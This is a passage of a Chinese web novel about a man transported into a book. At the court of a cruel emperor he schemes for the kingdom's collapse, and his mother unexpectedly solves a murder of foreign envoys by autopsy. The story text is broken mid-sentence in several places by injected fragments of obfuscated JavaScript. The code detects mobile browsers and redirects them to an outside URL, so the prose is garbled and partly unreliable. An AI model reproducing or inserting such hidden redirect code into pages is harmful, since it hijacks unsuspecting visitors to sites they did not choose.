这个世界是一本书,名叫做《暴君萌宠甜状元》,主角攻是今早朝会上那个丧心病狂的暴君,名叫殷扶灼。 这位暴君年幼时在冷宫饱受宫女太监的欺凌和虐待,三年前,先帝暴毙而死,临终前留下传位圣旨,大太监王鸿恩及一众忠臣顺理成章地将他这个唯一皇子从冷宫中接出来,让他继任皇位。 但之后群臣才发现,这位年轻的帝王性格早已扭曲,变得喜怒无常,残忍暴虐,毫无人性。 他生平最喜欢干的事情就是虐待周围的宫人和朝中臣子,今天符荔差点丢了舌头就是他随手干的混账事之一。 他不是第一个遭他迫害的人,也不是最后一个。 “我只有一个问题。”符荔皱眉沉思良久,发出疑问,“罗~伯~时,是谁?” “是您啊,您是本书的主角受。”系统萌萌哒地回答道。 “可是,我叫符荔,这个身体的名字也叫符荔,一个只活在第一章、跟惨死的前丞相并列、为了衬托殷扶灼残暴罪行而被割了舌头的背、景、板。” “啊——稍等。”系统似乎卡壳了,过了将近五分钟,电子音才再次响起。 “抱歉,因为符荔和主角受都是状元身份,都是年少成名的天纵英才,种种条件相似的情况下,本系统搞混了。” “……”符荔一时间不知道该说什么好。 “那你给我穿回去,我要回到原来的世界,你去找跟罗伯时同名同姓长得一样的人。” “你是身穿,因为穿越过一次时空,已经很虚弱了,再穿越需要一点时间。” “身穿?那这身衣服,我的头发,我的伤是怎么回事?” “系统为了弥补穿越bug做出的一些同步调整。”系统继续道,“当然针对虚弱问题,你可以做任务换奖励加快进度巩固魂魄和身体,你要做任务走剧情吗?” “怎么可能,我不做任务。” 统一十八国?这也太看起他了。 “那你现在没办法穿越回去了。” “我还是直接去死吧。”符荔躺倒在床上,满目苍凉,“反正早晚也要被暴君折磨死,不如直接撞死在这里。我的死你要负责,因为是你没经过我同意就让我穿过来的。” “滴——宿主,本系统为您提交的错误补偿申请已通过,对于本次造成的失误,系统感到万分抱歉,您可以等到大凉亡国后和其他人一起回到原本的世界,并且可以带回一亿元奖金作为补偿。” “什么!”他坐了起来。 他果然是气运之子! “这样的话,我什么任务都不用做,只需要待到大凉亡国后就能拿着一亿奖金回去了。”符荔快乐翘脚。 再也没有比自己更幸运的人了! “是这样的没错,只要您平安活到那个时候。” 得意带笑的脸庞僵了僵。 “活到……那时候?你这话听起来似乎有别的意思啊。” “意思就是,在穿越回去之前,您要保证自己的安全。友情提醒一句,这个世界很危险,主角攻受因为有气运加身,所以在吃人的乱世中能各种作死仍旧安然无恙,但普通人总是容易发生各种意外的,别被书里描写带偏了。” 这回符荔听懂了。 他这个原本世界的气运之子,在这个新世界还真就只是个背景板了,随时都能被弄死。 符荔立刻乖巧了许多。 他言语多了几分谄媚,“冒昧地问一下,大凉什么时候亡国啊?” “书里没写,系统也不清楚,不过按照现在的剧情线,距离主角受出场还有一小段时间。” 他笑脸顿收,“你这不扯么。” 书里直到结局才亡国,俩主角来来回回拉扯了一整本,时间线少说也有好几年。 至于到底几年,他不知道,书里没有明确说。 “我已经感觉到,有一把无形的刀在划拉我的脖子了。”符荔生无可恋道。 “宿主,您要不要检查一下,床幔旁边的帘钩正勾住你的后领子。” “什么!”符荔赶紧把钩子解开。 “再次对您感到抱歉,宿主,最后问一遍,您确定不争取一下做任务吗,和主角攻谈恋爱,用爱感化他,让他当一个好皇帝,挽救天下苍生的性命?” “不做。”符荔万分肯定道,“我是直男,不搞基!” 更别说要和那个暴君谈恋爱,这不是要他命吗? “用一个同性的爱,去感化一个已经没有人性可言的暴君,让他去把江山治理好,爱护他的子民,完成一统天下的任务,你们这逻辑是不是有点问题?” “这不在系统的计算范围之内。” “系统,相见就是有缘,我的生命岌岌可危,你能不能免费赠送给我几个保命法宝?” “宿主拒绝完成任务,解除绑定倒计时中,已关闭商城物品兑换通道。”系统答道,“宿主再见,本系统要去绑定别人了。” “这么儿戏吗?”符荔头一次听到系统随便绑定完人后又立刻解绑的,“我的一亿元补偿还有着落吗?” 他只关心他的钱。 “有的,宿主您放心,等大凉亡国后会自动发放给你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顿时,婴儿的啼哭声响起来,那是二哥儿子,八个月的临哥儿被吵醒了。 他忙冲出卧房,但紧接着他又想到了系统,转身回看屋里,最后一点电子亮光彻底消失在古朴的屋内。 符荔懊恼地拍脑门,又被额头上的瘀肿痛得大叫起来。 还没来得及多薅点福利。 不过,只要大凉被他坑亡国了,一亿奖励就在现实世界等着他了! 他的周游世界计划,还有猫狗双全大别墅…… 正在畅享着,赵细娘端着一碗面敲响了房门。 “儿子,饿了吧,刚才看你都没吃几口饭,赶明儿我辞了芙蕖楼的厨子,再给你找个适合口味的厨子。” “不用,随便吃吃就行了。”符荔挑起面条嗦了一大口。 味道还行,普通家常口味,有点咸,一碗汤能配仨馒头那种。 符荔想明白了自己的处境以及下阶段要奋斗的目标,心境一下子开阔起来,也不嫌弃味道,呼啦啦一碗三两下全进了胃里。 “不要费银子去请厨子了,你的饭菜能下口。”他擦了擦嘴。 “那不行,你不吃好点怎么有体力上朝,这些日子你一回来就叹气,把自己关在屋里,日子久了会闷出病来的。” 赵细娘坐在他旁边,花白的头发上还戴着她那朵大红牡丹绢花,“爹娘和你大哥大嫂都是寻常百姓出身,当官的事情俺们帮不了你,只能靠你自己,我就想着,你要是吃得好些,穿得好些,好歹舒心点,就不会整天皱着眉头,脸拉得老长。” “有吗?” 符荔以为原主那种天才少年没忧愁。 不过想想,能在大殿上慷慨激昂痛斥皇帝十八条罪状,哪怕磕死在朝堂上也要劝皇帝改邪归正,想必也是个理想天真的人。 看到这个腐烂衰败的国家,这个少年心里也是很痛苦的吧。 4. 我的亡国计划 符荔嘴里嚼着面条,窗外传来后巷的吵闹声。 这回他看清楚了,后巷有一个尖嘴猴腮的老头在骂他。 “你小叔子有出息,有出息能让你住这破巷子?一家晦气的倒霉玩意儿,眼皮子比我的鞋底还浅,以为当个状元就了不起了,还能升天不成?成天在这显摆,四年了,要当大官早当去了!” “你怎么就晓得我家荔哥儿不会当大官,他已经是三品的御史大夫了,来日他封侯拜相,我啐死你个老不休!”大嫂许如意膘肥体壮,双手叉腰,那嗓音粗壮得能让整条巷子都带回音。 “三品御史能让你过得这么寒碜?做梦吧你。你小叔子这辈子也就那样了,永远没出息,你们全家跟着受苦受难,还做封侯拜相的美梦,洗洗眼角糊的眼屎吧。” 符荔还没听完,耳朵就被两只带着厚茧裂纹的手捂住了。 “这黑心肝烂屁.眼的玩意儿,什么话都往外说,荔哥儿,你别听他乱说,他就是嫉妒你,嫉妒咱家,看不得咱过得好呢。”赵细娘越想越气,“不行,我也得去骂两句,不然心里不舒坦。” 说着一脸老实的赵细娘风风火火地冲下楼,符荔拦都拦不住。 不多会儿,他就听到许如意炮仗似的怒骂声下夹带两句赵细娘的附和声。 一个个的,真不让人省心。 他摇头往自己回屋走去,打眼瞧见一楼窗子冒起了青烟。 “失火了!快救火!” 这小宅子总共也就这么几个小房间,要是烧了,赔钱不说,他们可就要睡大街了。 “咳咳咳……二哥二嫂,你们怎么在这?”青烟之下,二哥一家三口正在悠闲地在屋里烤火。 “取暖啊。”符二芒道,“这炭熏人,你回屋烤火吧,娘给你买了银丝炭,不带一点烟气的。” “这味道呛人的很,临哥儿和二嫂怎么受得了。”只是吸几口烟气,他就觉得有刀在划拉嗓子。 “挑啥啊,有炭火就不错了,”二嫂柳珠珠坦然道,“搁以前在老水村的时候,到了冬天都是靠身子硬扛过来的。今年炭贵了,家里银钱不多,咱得省着点。” “李老头之前买了黑炭,不小心被毒死了,咱们这炭可好了,只是有点烟味。”符二芒道,“要不明儿个让娘买几只鸡鸭宰了,咱们还能做烟熏肉吃。” “熏肉切成薄片,炒蒜苗吃香。”柳珠珠道。 小两口自顾自说着,已经在想着熏肉回头该怎么做菜了。 符荔搭不进话,讪讪地回了屋,看到屋里的陈设,虽然旧了些,但一应俱全,挺像模像样的。 他这小宅子也就几间房,除开厨房茅厕,剩下十几口人全挤在几间屋子里。 但符荔一个人就有一间朝南的最大屋子,五儿是他的小厮,都只能睡在门外的走道里。 这家子人虽不着调,但对他都实打实真心好。 可惜这份感动还不到两个时辰,晚间他略一算账,气得拍桌。 “一个下午,仅仅一个下午,谁又花了二十两银子?” 一家人挤作一团,个个蔫头巴脑,不敢应声。 “说话。” “买鸡鸭,赊了二两银子。” “买酒,赊了一两。” “赔给对面邻居修屋瓦和围墙钱,五、五两。” “新请了个厨子下定金,给大家伙儿做一身冬衣,十二两。” 符荔颤抖地指着一群败家玩意儿,气得说不出话来。 ———— 第二日。 天大黑,外面的冬雨淅淅沥沥下个没停,湿冷阴寒的紧。 符荔裹紧身上的虎皮被,睡得正香甜,耳畔边就传来五儿的呼唤,还有几声远方的鸡鸣。 “少爷,该起来了。” “别吵,再让我睡会儿。”符荔挥开他的手,“早课帮我点个到。” “什么早课?”五儿纳闷,“再不起就来不及了。” “什么时候才能不上课。”符荔裹着兽被扭成蛆。 “什么上课,你是上朝会。” 符荔一个鲤鱼打挺坐起来,“那个不去就会死的朝会?” “是啊。” “快快扶我起来,我能上,我最爱朝会了……现在是什么时候?” “寅时初。” 才凌晨三点多。 符荔挠挠自己的鸡窝头,及腰的长发全是打结。 “朝会是什么时候?” “卯时。” “还有一个时辰,这么着急干嘛?” “你忘了,咱们骑驴到皇宫就要将近一个时辰。” “……”等他有钱了,一定要买个皇宫边儿上的宅子。 但想到自己家欠的债比宅子墙上破的洞都多,不禁悲从中来。 他的心就跟外面刮的风一样,呜呜呜呜呜呜…… 这就是他嫌弃早八的福报。 摸黑胡乱洗漱一通,胸口揣着赵细娘摊热乎的胡麻细面炊饼,等到皇宫的时候,一群大臣早等在待漏院内,年纪大点的坐在一旁,打着火炉,缩着脖子,眼皮不停地合上又挣扎着睁开。 符荔啃了两口炊饼,吕旻幽灵似地鬼鬼祟祟走近,也不说话,就等着他开口。 “有事?” “今天朝会有事。” “什么事?”符荔扶了扶头顶上的银冠,他还没习惯这玩意儿。 分了半个炊饼给他,吕旻也不嫌弃,三两口吃完了。 “昨晚死人了,现在,我有一个垂名青史的机会。” 他眼里闪过一丝兴奋,接着眉头皱紧,又看向符荔。 大哥,你就不能自己把话接下去吗,非要等我问。 “死的是谁?” “云烟国的使臣,到时候两国肯定要交战。云烟国比我们大凉实力强盛,发生了这么大的事,到时候云烟国肯定会攻打我们,大凉危矣。” 还有这等好事! 符荔清秀的眉眼舒展开。 “那可太惨了。”他差点笑出声。 “我昨晚通宵查案,在尸体上发现了点线索,疑似云烟国自己下的毒,贼喊捉贼栽赃给我们。给我几天时间,肯定能追查到证据,到时候定让云烟国那几个使臣颜面无存,灰溜溜离开。” 什么?! “还是吕大人年少有为啊,只花一晚上就有了眉目。”旁边一个大人听到两人聊天,开口道。 “不像某些人,枉为御史,竟然说出那等颠倒黑白的谗佞之语。”站在那人旁边的另一人搭腔道。 符荔不同意道:“我说什么跟你有什么关……” “你们都不懂,符大人这样做,一定有他的道理。”吕旻抢了他的话,没有波动的脸上透着一股认死理的认真,“你想想,符大人能当朝死谏,肯定早就将生死置之度外,怎么可能为了活命突然改口?” 两位大人沉思中带着怀疑。 “他定然是为了大凉更加波澜壮阔的宏图伟业,所以才忍辱负重,宁愿背负佞幸的骂名和我们的不理解,也要坚持下去。” 不远处几位清流派的大人捻着下巴几撮小胡须,犹疑地点了点头。 吕旻看还有几个人不相信,直接客气邀请那几位大人到一旁聊起来。 被撇下的符荔眨巴着眼睛,又啃了一口炊饼。 吕旻嘴里的人,是自己? “昨晚我想过了,咱们一直死谏也不是个办法,秦党一向嘲笑我们死脑筋,我们也一直不得陛下重用。” 吕旻头头是道地跟他们分析,“既然强硬的手段不能让陛下迷途知返,那么,不如试试软一些的手段。比如符大人做的那般,先假意亲近陛下,说点好话,再试着规劝。” 围过来的四五人一脸赞同地点点头。 “我就说嘛,符大人绝不可能成为竖子那般谄媚逢迎的佞幸。” “我也一直觉得,符大人怎么可能为了活命而说出那样的话,肯定有深层次的原因在里头。” “难怪,昨日符大人态度转变得也太快了,我还纳闷和不屑他的懦弱。没想到生死攸关的形势下,符大人还能将生死置之度外,立刻想出新的劝谏之法,果然是年少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334868|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 英才,英勇有为。” 随着铜壶一点一点地将水滴漏下去,五更的梆子终于敲响。 一群大臣陆续起身,拍掉掉在身上的食物碎渣,前往祥鸾殿。 “陛下到——” 符荔连忙随众大臣一起躬身行礼。 他注意到,今天大殿上有几个人没拜礼,衣着看起来倒是和大凉人的差不多。 “陛下,昨夜我云烟国有八位使臣暴毙于你们大凉国的馆驿中,你们必须给个说法!”那群人中为首一个秃顶桀骜道。 符荔心中一凛,来了来了。 “你们大凉简直欺人太甚!是欺负我云烟没勇士了吗,这样肆意妄为!” “你们就等着我们云烟的铁蹄踏平你们京都吧!” “大理寺查验结果如何?”殷扶灼漫不经心的话音从上头飘过,打了个呵欠,完全没为云烟使臣冲上脑门的愤恨影响半分。 大理寺卿鼻子底下留着两撇八字胡,眼里茫然又市侩,心里不想担责,暗暗朝吕旻这个大理寺少卿使了个眼色。 就这么耽搁了一下的功夫,吕旻还没来得及站出来,云烟国使臣道,“昨晚你国的大理寺已经查验过了,七窍流血,是中毒。” 另一个使臣道:“大凉国皇帝,昨晚我们的使臣就是吃了你们端来的食物,所以才中毒死亡的,你们必须给个说法。” “你们要何说法?”殷扶灼的声音听起来浑然不在意对方的责难。 “我们怀着两国和平和诚意前来,你们却毒害我们使臣,你们最好已经做好和我们不死不休的准备。” 符荔暗自乐了起来。 打吧打吧,等云烟国灭了大凉,他就能回去了。 殷扶灼坐在上首,扫了一眼,“符卿胸有成竹,似乎有话要说。” 符荔心里卧了个大草,笑早了。 他不敢抬头看人,缩着肩膀,耷拉着脑袋,两手揣进宽大的袖子里,走出百官队列,往中间窝窝囊囊地挪了两步。 “臣没有……” 殷扶灼打断了他,声如金铁铮铮,“你身为御史,不会断案?大理寺办完的案子,你重审的时候,岂不是全都有纰漏?” 符荔委屈的很,“这案子不是还没开始审么?” 简直是欲加之罪,何患无辞。 遇到大案要案,御史台是审判断案程序有无问题,调查和复核案件的事情是刑部负责,又不是他。 殷扶灼撑着脑袋的手指敲了敲脸颊,不知想到了什么,目光掠过了他。 “来人,将大理寺卿和刑部尚书一起拖出去砍了。” “臣冤枉啊。” “请陛下宽限几日,一晚上的时间实在太仓促。” 大理寺卿和刑部尚书慌忙跪地喊冤。 吕旻看看左右,想要站出来。 符荔注意到他的踌躇,脑子一下子就转起来了。 吕旻年纪轻轻就成为大理寺的二把手,能力肯定过人。 上朝前他说这毒是云烟国人自己下的,狗皇帝要是将这案子全权给他办了,最后找到证据,这两国不就打不起来了。 打不起来,还怎么亡国。 “臣有断案线索。”符荔抢先一步,行礼禀告。 “哦?有何线索?” 他上哪儿找线索去。 吕旻一看是他,以为是想举荐自己,顿时有了面对暴君的勇气,眼神示意他提自己。 符荔假装没看到。 吕旻看他不搭理自己,干脆自己站出来,“陛下,臣昨夜发现……” “臣有一断案高手!”符荔急急打断他的话,把站出半步的某人又给一屁股顶了回去。 吕旻:??? “哦?你该不会是说你自己吧?”殷扶灼把玩着右手拇指上的碧油扳指。 “臣……”他才刚穿来第二天,放眼望去,朝中众人除了一个吕旻,谁也不知道。 “那便派你为……” “臣的娘亲,赵细娘。” 亲娘欸,你就等着我给你准备的寿终正寝大礼包吧! 5. 我的咋呼同僚 “你娘?”所有人都愣住了。 “符大人,我记得你是布衣出身,你娘,不就是一个乡野妇人吗?”大理寺卿郑允怀疑道。 “是又如何。”符荔不满道,“你行?那你上,临死前还可以垂死挣扎一下。” 郑允头摇成拨浪鼓,推出身后的人,“我举荐吕大人,他是大凉有名的神断手。” “不行。”符荔断然拒绝。 “陛下,一个大字不识几个的妇人,和一个年轻有为、办案经验丰富的吕大人相比,您觉得哪个更靠谱?”郑允道。 刑部尚书名叫孙得志,他跟着搭腔,“符大人,这案子关系到两国外交问题,稍有不慎将引发战争,更甚者举国倾覆,这罪责你担待得起吗?” 符荔两手背在身后,悠哉道:“自然担待得起。” 他要是灭了大凉国,整个国家百姓的平均寿命都能增加二十年。 怎么担待不起了。 “陛下,符大人如此自信,这位赵细娘必定有什么过人的本领。”朝会前被吕旻忽悠成功的一位大人站出来道。 “也许有什么民间秘术也未可知。”其他朝臣也开始半信半疑起来。 符荔暗笑,他娘什么本事他还不知道吗,以前在老水村就是给镇上的乡绅杀鸡杀鸭浣衣的,哪里会这个。 殷扶灼揉了揉额头,突然抬眸,目光扫过三个人,最后定格在符荔身上,“你娘若是破不了案,你们三个都一起死。” “什么!”三个齐齐叫了起来。 “一个头发长见识短的村妇,怎么可能断案。”孙得志崩溃道,“符大人,你不要闹了,再闹下去,我们三个都要没命了。” “她识得字吗?会写自己的名字吗?符大人,我知道你很想证明自己,但不要拎不清,现在是八条人命的大案,不是你胡闹的时候。”郑允道。 殷扶灼道:“就在宫殿门口验尸查案,如果你娘破不了这桩案子,朕就……” “陛下!”符荔哀嚎一声,跪倒在地上。 这话不早说。 殷扶灼看猴戏似的看他,“你想说什么?” “陛下龙颜威仪,睥睨万方,四海臣民见之莫不胆寒,臣恳请陛下,不管臣的娘亲最后查不查得出来,看在臣举荐人才有功的份儿上,免了臣任何罪责。” 他娘能活到六十岁,他不一定啊。 “朕有威仪,跟饶你一命有何干系?” “额……”他就不走心地顺带嘴那么一夸,“因为陛下英明神武。” 万金油的话,说了准没错。 “难道你娘真的一点真本事都没有?”孙得志声音颤抖道。 “嗯……那个吧……” “若有真本事你这么急着把自己摘出来干什么!”孙得志道,“陛下,倘若赵细娘查不出来,臣恳请陛下免除臣和郑大人死罪,将他们娘俩乱棍打死。” “不行,孙大人和郑大人断案不力,臣才冒着砍头的风险举荐自己亲娘,事情起因在他俩,他们必须死。”符荔道。 多好的忠臣啊,骂我的事情就大度不计较了,送你俩一人一份六十大寿大礼包。 至于人头落地嘛,就当被蚊子咬一口了,你俩也不会介意的。 “允了。”符荔胡搅蛮缠,两位清流大臣一脸头疼,看着有意思了点。 “这也行?”孙得志傻眼了,“陛下,这事是不是太不讲道理了?” 难道就因为这个御史大夫会拍狗屁不通的马屁? “事情起因的确在你们两个废物身上。” “你就是根搅屎棍!”郑允怒极大骂符荔。 “符荔符大人,你可是御史大夫,你跪在陛下面前为自己求情,却不顾自己亲娘性命,你这是不孝!”孙得志很快又抓到了把柄,大骂道。 要死大家一起死。 “是啊,符大人,你怎可不顾自己亲娘的性命?你枉为人子!”一个大臣锤腿顿足道。 “贪生怕死,谄媚逢迎,不忠不孝,陛下,莫信这等小人谗言,他这是要害死我们大凉啊!” “我大凉数百万百姓,皆要断送在此等奸佞手上。” “恳请陛下,若破不了案,符荔替母受过,还其生母一条生路。” “臣,恳请陛下……”一群清流派的老顽固纷纷下跪。 这群老不休,误我亡国大计啊。 “陛下,国不可一日无御史大夫啊。”符荔逼出两滴泪花,哽咽道,“看在臣为陛下弹尽竭虑、鞠躬尽瘁的份儿上,求陛下免了臣所有罪责。” 他绞尽脑汁道:“臣只想为陛下分忧,哪怕上刀山下火海,臣都愿意为陛下走一遭,但前提是臣得有命为陛下分忧,别被小人谗言给害了去。” “你说谁小人呢!”郑允指着他跳脚道。 指的就是你这个快要死的中登! 刑部尚书孙得志唾沫横飞,“黄口小儿,亏我早晨听吕大人说,你是个好的呢,不曾想你就是和阉党秦党一般无二之人。” 符荔道:“臣不忍看陛下为此伤神,更不能容忍蛮夷番邦欺负到陛下头上来,在臣这里,陛下的重要性远甚于臣自己和其他人的性命,竟不想遭到郑大人、孙大人的误解。” 殷扶灼嘴角抽了抽,泛起一丝冷笑。 但他仔细听了半晌,除了群臣你争我辩之外,再也没听到旁的声音了。 他看向符荔,眼带犹疑。 “吕大人,你不是说发现了点线索吗?”郑允忙道。 “没啊。”吕旻两手一摊,悠哉道,“大人你都没发现,我怎么可能发现什么线索。” 符荔这么厉害,他的娘肯定更厉害,他要趁机好好讨教才行。 “你!”郑允气得翘胡子,两眼发白,“吾命休矣。” “大人,符大人在生死存亡之际举荐自己的亲娘断案,那位定是有其过人的本事,你且等着看吧。”吕旻拉住了自己上司,让他静观其变。 “即将要死的人不是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“据我所知没有,但这位颇受陛下荣宠,那样胡搅蛮缠都没事,不是说大凉皇帝是个毫无人性的暴君吗?举朝上奏,不孝可是天大的罪名,就这样三言两语轻轻放下了?” “看起来是位惹不得的权臣。咱们静观其变,交好总比嫌恶强,不管今日结果如何,下午去认认门。” 不远处,殷扶灼走到大殿门口,悠然问王鸿恩。 “你说,符荔打算干什么?” “不知。”饶是王鸿恩这等狡猾奸诈的老狐狸,也看不透符荔的意图,“陛下,您怎么就答应了?万一查不出来……” “那就杀一批废物,再叫另一批废物继续查。”殷扶灼漫不经心的话语里带着漠然的从容。 他遥遥盯着符荔,眸光里盛满冰冷的尖刺。 6. 我的娘亲 王鸿恩眼里无波无澜,谄媚笑道:“陛下洪福齐天,大凉有天命庇佑,定能还大凉一个公道。” 他暗暗朝自己的一个义子赵珍交换了个眼色,后者悄然退出人群。 他得通风报信,免得让自己党羽稀里糊涂接了这个烫手山芋。 那头,符荔还在满心期待地看着赵细娘,鼓舞打气道:“拿出你的真本事来,随便作,随便造。” “娘晓得了,你就瞧好吧。”赵细娘扎起宽大的大红袖口,走到尸体旁边,各种翻看起来。 臣子们不由纳闷起来。 “她这是在干什么?” “不晓得啊。” “看这样子,不会是打算起火烧饭吧。” “乡野农妇,也就只会打打猪草,洗衣做饭了。” 大臣们小声地交头接耳,半天看不出任何名堂。 “拿酒醋干什么?以为这是在做菜吗?” “他把纸浸在酒醋里了。” “盖草席是干什么,醋焖尸体?” “她怎么砍了人家的头!”礼部尚书差点一口气没喘上来。 “大凉国皇帝,你们就是这样糟践我们云烟国的使臣吗!简直欺人太甚!” “她还要拿去蒸,咱们大凉可是礼仪之邦,怎么能做出如此蛮夷行径!”礼部尚书气急败坏。 “陛下,快阻止这个村妇吧,她不止是在损毁尸体,更是将我们大凉的脸面丢尽了。”孙得志哀求道,“求陛下换个人办案吧。” 他真的还想多活几年。 “你消停点吧,尚书大人,从刚才起你就一口一个村妇地叫,有本事你来啊。你读书多,你高高在上,刚才陛下要破案的时候你吓得跟只老鼠似的,屁话都不敢说一句,现在反倒说起别人的不是了。我娘做不好,那无可厚非,至少勇于尝试,你连站出来的勇气都没有。”符荔悠哉道。 “你!竖子猖狂!” “怎么着,说不过我开始骂人了,就你这年纪,下面恐怕比竖子也好不到哪里去。” 刑部尚书下意识夹紧腿,“粗鄙不堪!” 符荔站在台阶之下,嘚瑟地摇头晃脑,转身之际,瞥见殿外檐下一人长身玉立,面无表情地看着验尸现场。 之前天色尚早,阴雨连绵,殿内视线昏暗,他也不敢多看,总觉得暴君身上气势骇人,又爱看杀人,想着应当是个面目凶悍又丑陋之人。 因为丑人才多作怪。 如今一见,视线便忘了挪开。 殿宇廊沿的巍峨庄严与细碎烟雨的笼雾朦胧,都集中在他一人身上。 他单手负于身后,一手垂于袖中,脸上没有一丝血色,白得几乎透明。 冕旒后的那双单薄狭长的瑞凤眼生得锐利,不怒自威,天生尊贵,符荔却觉得他像那抹随时能被天地蒸腾消散的雾,疲惫,苍白,空洞,纤细袅袅,又带着阴冷窒息的潮湿。 天生神仙姿,可怜朽迈骨。 “你在看什么?” 吕旻耳边的话让符荔回过神来,忙移开目光。 他转身看向赵细娘,轻轻抽了自己一巴掌。 符荔啊符荔,你一个直男,盯着另一个大男人看什么。 符荔赶紧带着吕旻往远处走了走。 吕旻这呆书生,不知道从哪里拿出了纸笔,一脸认真听课的好学生模样,赵细娘不管做什么,都认真记下来。 “陛下,符大人这是伙同自己亲娘,在这毁尸灭迹啊。”终于有人察觉到了,“他是云烟国的奸细!” “你休要血口喷人。”吕旻不悦道,“符大人是为了还大凉一个清白,这才铤而走险,其中必定有其深意,你看不明白就闭嘴,别在这丢人现眼。” “我是你爹,臭小子。”吏部尚书名叫吕恒,长着和吕旻七八分像的眉眼,两人是亲父子,闻言他抬手就要断子绝孙。 “陛下,好了。”赵细娘擦手又擦汗,朝符荔露出一抹微笑。 符荔一看,这手法,为什么感觉有点熟悉啊。 他心里隐隐由种不祥的预感。 他几步迈步上前,刚要阻止赵细娘,就被吕旻给扯了回来。 “你站到我身边,等会儿我有不懂的地方刚好问你。” 搞得好像我很懂似的。 “陛下,这些人是互相殴打死的。”赵细娘也不懂什么礼仪,擦了擦汗,用她那夹带地方土音的话道,“人是昨晚死的,皮下的瘀伤要几天后才能显现出来,但我用了点法子,提前显现出来。” “好端端的,怎么会互殴?”大理寺卿郑允纳闷道。 “肯定是被下药了。”云烟国使臣道,“肯定是你们大凉人下的毒!” “你怎么不说是你们云烟国使臣内部有矛盾,互殴杀人。真是西南小国,简直粗鄙不堪。”兵部尚书道。 “信不信我踏平你们大凉!” “有本事你来啊!” “有本事你等着!” “大人,消停点吧,你忘了,咱们现在打不过云烟啊。” “我刚才检查了死者的脑袋和嘴鼻,发现有虫子啃食过的痕迹。”赵细娘道。 “什么!” “不是中毒,是一种名叫‘惑心’的蛊虫。”赵细娘从蒸笼里夹出一只被蒸熟的白色虫子,肯定道,“大陆西南那头靠水的林子里有这种蛊虫,这虫遇到水就会变得透明,在我们大凉也有见过,不过二十年前西南那片的地儿给了宵国,所以现在这种蛊只有宵国有。” “宵国?我记得这段时日宵国也派了使臣过来,馆驿距离云烟国不远。” “正是。” “‘惑心’不算小,又娇贵不好养,还受不住一点高温,所以不可能拌在饭菜里被死者吃下去,所以只能是当场吃下去的。” “查昨天酉时之后至午夜,有谁接触过云烟国的使臣。”吕旻疑惑道。 “不用酉时,你们既然是子时发现的尸体,那么最迟应该戌时吃进去的,蛊虫控制人发疯需要时间,但也不会太久,一个时辰就能发作。”赵细娘道。 “所以不可能是大凉送去的饭菜有毒,我们验尸时,尸体还温热着,明显才死去不久。”吕旻道。 很快云烟国使臣就将昨晚他们的行踪告知,晚饭过后,他们还秘密约了宵国和陈国使臣,时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334870|199235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也对得上。 “当时宵国使臣约我们和陈国商讨时,给我们喝一种茶水,味道很淡。后来,他们都死了,就我们几个和陈国使臣没有,核对一下行踪后,发现昨晚就我们几个没用馆驿里的膳食,是以才找你们要个说法。”秃顶羞愧道。 “刚才听你们说的,昨晚你们和陈国使臣与宵国使臣分开后,就去了京都的澡堂,那里比较热,应该将蛊虫热死了。”赵细娘道。 “这么说,还真是宵国人干的。” “他们害死我们的人,还嫁祸给大凉,意图使我二国开战,他们好坐收渔翁之利,简直罪不可恕!” 一时间群情激愤,不管是云烟国的人还是大凉国的人,都在叫嚣着要把宵国的人抓住杀了,以命赔命。 两国如此团结一心,这仗肯定是打不成了。 事情怎么变成这样了? 符荔头疼地拍脑门,终于回想起来,赵细娘检验尸体表面伤痕的手法,《洗冤集录》上曾有记载过。 他不由问,“你以前不是给人杀鸡杀鸭的吗,怎么会验尸?” “以前怕你瞧不起,不敢跟你说,你外祖父以前是西南边陲一个县上的仵作,后来国土被占,这才迁到了大凉别州。这行当跟死人接触,名声不好,我就远嫁到了老水村,想着安心过日子,不接触验尸了。” “你这二十多年也没验过尸啊,怎么这么熟练?” 赵细娘腼腆道:“俺杀的鸡鸭没有上万也有成千嘞。” “……”杀鸡杀鸭能和杀人一样? “怎么样,没给你丢人吧,你说随便怎么搞都行,我本来还想着这些官老爷见不得这么腌臜的场面……” 剩下的话符荔听不清了,只剩下欲哭无泪。 “没丢人,完全没丢人……” 他要丢命啊…… “符卿。” 站在廊下殿阶前的殷扶灼终于发话了。 群臣忙俯首,这回,连云烟国的使臣都毕恭毕敬。 一个乡野村妇都懂得验尸手法,大凉真是人才济济。 “你娘让人刮目相看。”殷扶灼平静道。 符荔一脸衰样,“臣也很惊讶。” 心头拔凉拔凉的,就怕他喜怒无常,两刀给他娘俩剁了。 殷扶灼看向郑允,“你怎这般无用。” 郑允“噗通”跪地,连连磕头。 “陛下饶命,陛下饶命……” 